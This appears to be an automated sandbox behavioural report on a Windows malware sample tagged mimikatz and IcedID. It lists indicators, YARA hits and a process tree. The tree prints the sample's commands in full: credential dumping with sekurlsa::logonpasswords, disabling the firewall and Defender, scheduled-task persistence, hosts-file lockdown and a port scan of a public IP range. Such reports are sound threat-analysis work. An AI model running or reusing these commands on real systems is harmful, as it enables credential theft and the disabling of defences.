mimikatz | c355a7d65d42d2f86ead5d31d195e56b732dc9352f0bbb8fa8836ac79f51a626

Analysis

max time kernel
30s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 16:54

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General

Target
2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
Size 8.4MB
Sample240406-vel5vsfa96
SHA256 c355a7d65d42d2f86ead5d31d195e56b732dc9352f0bbb8fa8836ac79f51a626
MD5 a5c4ec3fb913adf64dc8376425171e37
SHA1 bf97353e5c84b83f0cc0b7fb842b812edf8ace7f
SHA512 b64676bafa0c5f8fcd37d8752ff1e5c26d5fea3bdf7b085e90a872605c15b018d98ec05b0091205120c62045ad489bb17aec63847148c6ad339f6be65030af9e
SSDEEP 196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

mimikatz discovery evasion upx

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/2852-136-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 9 IoCs

resource	yara_rule
behavioral2/memory/3984-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral2/files/0x0007000000023223-5.dat	UPX
behavioral2/memory/4344-7-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral2/files/0x0007000000023269-133.dat	UPX
behavioral2/memory/2852-134-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	UPX
behavioral2/memory/2852-136-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	UPX
behavioral2/files/0x0007000000023273-139.dat	UPX
behavioral2/memory/3136-140-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp	UPX
behavioral2/memory/3136-143-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp	UPX

mimikatz is an open source tool to dump credentials on Windows 4 IoCs

resource	yara_rule
behavioral2/memory/3984-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023223-5.dat	mimikatz
behavioral2/memory/4344-7-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/2852-136-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mghfsiy.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1860	netsh.exe
2164	netsh.exe

Executes dropped EXE 6 IoCs

pid	Process
4344	mghfsiy.exe
4732	mghfsiy.exe
3604	wpcap.exe
4024	myfdjeyae.exe
2852	vfshost.exe
3136	aeytjhyzj.exe

Loads dropped DLL 12 IoCs

pid	Process
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
3604	wpcap.exe
4024	myfdjeyae.exe
4024	myfdjeyae.exe
4024	myfdjeyae.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023269-133.dat	upx
behavioral2/memory/2852-134-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	upx
behavioral2/memory/2852-136-0x00007FF7B7DA0000-0x00007FF7B7E8E000-memory.dmp	upx
behavioral2/files/0x0007000000023273-139.dat	upx
behavioral2/memory/3136-140-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp	upx
behavioral2/memory/3136-143-0x00007FF75EAD0000-0x00007FF75EB2B000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 57 IoCs

description	ioc	Process
File created	C:\Windows\kfesmkaky\UnattendGC\specials\zlib1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\mimilib.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\libeay32.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\spoolsrv.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\svschost.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\wpcap.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\svschost.xml	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\spoolsrv.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\Packet.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\ucl.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\svschost.xml	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\mghfsiy.exe	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\libxml2.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\vfshost.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\Corporate\mimidrv.sys	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\AppCapture64.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\exma-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\trch-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\trfo-2.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\schoedcl.exe	mghfsiy.exe
File created	C:\Windows\atiufaue\vimpcsvc.xml	mghfsiy.exe
File created	C:\Windows\atiufaue\mghfsiy.exe	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
File created	C:\Windows\kfesmkaky\UnattendGC\schoedcl.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\vimpcsvc.exe	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\docmicfg.xml	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\AppCapture32.dll	mghfsiy.exe
File opened for modification	C:\Windows\kfesmkaky\ljlebekct\Packet.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\posh-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\tibe-2.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\tucl-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\rykaeepeu.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\Shellcode.ini	mghfsiy.exe
File created	C:\Windows\kfesmkaky\upbdrjv\swrpwe.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\ssleay32.dll	mghfsiy.exe
File opened for modification	C:\Windows\atiufaue\svschost.xml	mghfsiy.exe
File opened for modification	C:\Windows\kfesmkaky\Corporate\log.txt	cmd.exe
File created	C:\Windows\kfesmkaky\ljlebekct\wpcap.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\cnli-1.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\xdvl-0.dll	mghfsiy.exe
File created	C:\Windows\ime\mghfsiy.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\coli-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\crli-0.dll	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\svschost.exe	mghfsiy.exe
File created	C:\Windows\kfesmkaky\UnattendGC\specials\docmicfg.xml	mghfsiy.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023223-5.dat	nsis_installer_2
behavioral2/files/0x000700000002322d-13.dat	nsis_installer_1
behavioral2/files/0x000700000002322d-13.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4772	schtasks.exe
2652	schtasks.exe
2344	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mghfsiy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mghfsiy.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3436	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4344	mghfsiy.exe
Token: SeDebugPrivilege	4732	mghfsiy.exe
Token: SeDebugPrivilege	2852	vfshost.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
4344	mghfsiy.exe
4344	mghfsiy.exe
4732	mghfsiy.exe
4732	mghfsiy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 4164	3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe	86
PID 3984 wrote to memory of 4164	3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe	86
PID 3984 wrote to memory of 4164	3984	2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe	86
PID 4164 wrote to memory of 3436	4164	cmd.exe	88
PID 4164 wrote to memory of 3436	4164	cmd.exe	88
PID 4164 wrote to memory of 3436	4164	cmd.exe	88
PID 4164 wrote to memory of 4344	4164	cmd.exe	95
PID 4164 wrote to memory of 4344	4164	cmd.exe	95
PID 4164 wrote to memory of 4344	4164	cmd.exe	95
PID 4732 wrote to memory of 4024	4732	mghfsiy.exe	97
PID 4732 wrote to memory of 4024	4732	mghfsiy.exe	97
PID 4732 wrote to memory of 4024	4732	mghfsiy.exe	97
PID 4024 wrote to memory of 4780	4024	cmd.exe	99
PID 4024 wrote to memory of 4780	4024	cmd.exe	99
PID 4024 wrote to memory of 4780	4024	cmd.exe	99
PID 4024 wrote to memory of 3856	4024	cmd.exe	100
PID 4024 wrote to memory of 3856	4024	cmd.exe	100
PID 4024 wrote to memory of 3856	4024	cmd.exe	100
PID 4024 wrote to memory of 1688	4024	cmd.exe	102
PID 4024 wrote to memory of 1688	4024	cmd.exe	102
PID 4024 wrote to memory of 1688	4024	cmd.exe	102
PID 4024 wrote to memory of 4512	4024	cmd.exe	103
PID 4024 wrote to memory of 4512	4024	cmd.exe	103
PID 4024 wrote to memory of 4512	4024	cmd.exe	103
PID 4024 wrote to memory of 4688	4024	cmd.exe	104
PID 4024 wrote to memory of 4688	4024	cmd.exe	104
PID 4024 wrote to memory of 4688	4024	cmd.exe	104
PID 4024 wrote to memory of 4544	4024	cmd.exe	105
PID 4024 wrote to memory of 4544	4024	cmd.exe	105
PID 4024 wrote to memory of 4544	4024	cmd.exe	105
PID 4732 wrote to memory of 3580	4732	mghfsiy.exe	106
PID 4732 wrote to memory of 3580	4732	mghfsiy.exe	106
PID 4732 wrote to memory of 3580	4732	mghfsiy.exe	106
PID 4732 wrote to memory of 388	4732	mghfsiy.exe	108
PID 4732 wrote to memory of 388	4732	mghfsiy.exe	108
PID 4732 wrote to memory of 388	4732	mghfsiy.exe	108
PID 4732 wrote to memory of 4616	4732	mghfsiy.exe	110
PID 4732 wrote to memory of 4616	4732	mghfsiy.exe	110
PID 4732 wrote to memory of 4616	4732	mghfsiy.exe	110
PID 4732 wrote to memory of 4472	4732	mghfsiy.exe	114
PID 4732 wrote to memory of 4472	4732	mghfsiy.exe	114
PID 4732 wrote to memory of 4472	4732	mghfsiy.exe	114
PID 4472 wrote to memory of 3604	4472	cmd.exe	116
PID 4472 wrote to memory of 3604	4472	cmd.exe	116
PID 4472 wrote to memory of 3604	4472	cmd.exe	116
PID 3604 wrote to memory of 4548	3604	wpcap.exe	117
PID 3604 wrote to memory of 4548	3604	wpcap.exe	117
PID 3604 wrote to memory of 4548	3604	wpcap.exe	117
PID 4548 wrote to memory of 2392	4548	net.exe	119
PID 4548 wrote to memory of 2392	4548	net.exe	119
PID 4548 wrote to memory of 2392	4548	net.exe	119
PID 3604 wrote to memory of 4964	3604	wpcap.exe	120
PID 3604 wrote to memory of 4964	3604	wpcap.exe	120
PID 3604 wrote to memory of 4964	3604	wpcap.exe	120
PID 4964 wrote to memory of 4572	4964	net.exe	122
PID 4964 wrote to memory of 4572	4964	net.exe	122
PID 4964 wrote to memory of 4572	4964	net.exe	122
PID 3604 wrote to memory of 4124	3604	wpcap.exe	123
PID 3604 wrote to memory of 4124	3604	wpcap.exe	123
PID 3604 wrote to memory of 4124	3604	wpcap.exe	123
PID 4124 wrote to memory of 5048	4124	net.exe	125
PID 4124 wrote to memory of 5048	4124	net.exe	125
PID 4124 wrote to memory of 5048	4124	net.exe	125
PID 3604 wrote to memory of 4112	3604	wpcap.exe	126

C:\Users\Admin\AppData\Local\Temp\2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-04-06_a5c4ec3fb913adf64dc8376425171e37_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\atiufaue\mghfsiy.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3436
- - C:\Windows\atiufaue\mghfsiy.exe
    C:\Windows\atiufaue\mghfsiy.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4344

C:\Windows\atiufaue\mghfsiy.exe
C:\Windows\atiufaue\mghfsiy.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4688
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4544
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  PID:3580
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  PID:388
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  PID:4616
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\kfesmkaky\ljlebekct\wpcap.exe
    C:\Windows\kfesmkaky\ljlebekct\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:2392
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4964
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:4572
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:5048
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:4112
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:5052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:216
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:2972
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:2036
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt
  2⤵
  PID:5056
- - C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe
    C:\Windows\kfesmkaky\ljlebekct\myfdjeyae.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kfesmkaky\ljlebekct\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kfesmkaky\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2912
- - C:\Windows\kfesmkaky\Corporate\vfshost.exe
    C:\Windows\kfesmkaky\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"
  2⤵
  PID:3088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ltiulrmai" /ru system /tr "cmd /c C:\Windows\ime\mghfsiy.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"
  2⤵
  PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fatclsyjp" /ru system /tr "cmd /c echo Y|cacls C:\Windows\atiufaue\mghfsiy.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:2344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "dujatepye" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\kufytdyac\bftlbj.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:2652
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  PID:2168
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  PID:2460
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:2944
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:3656
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  PID:3012
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  PID:1192
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:892
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:2376
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  PID:4356
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  PID:4988
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:2116
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:3840
- C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe
  C:\Windows\TEMP\kfesmkaky\aeytjhyzj.exe -accepteula -mp 800 C:\Windows\TEMP\kfesmkaky\800.dmp
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:5084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:1604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:4868
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    PID:1860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:512
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:2652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:2980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:2168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
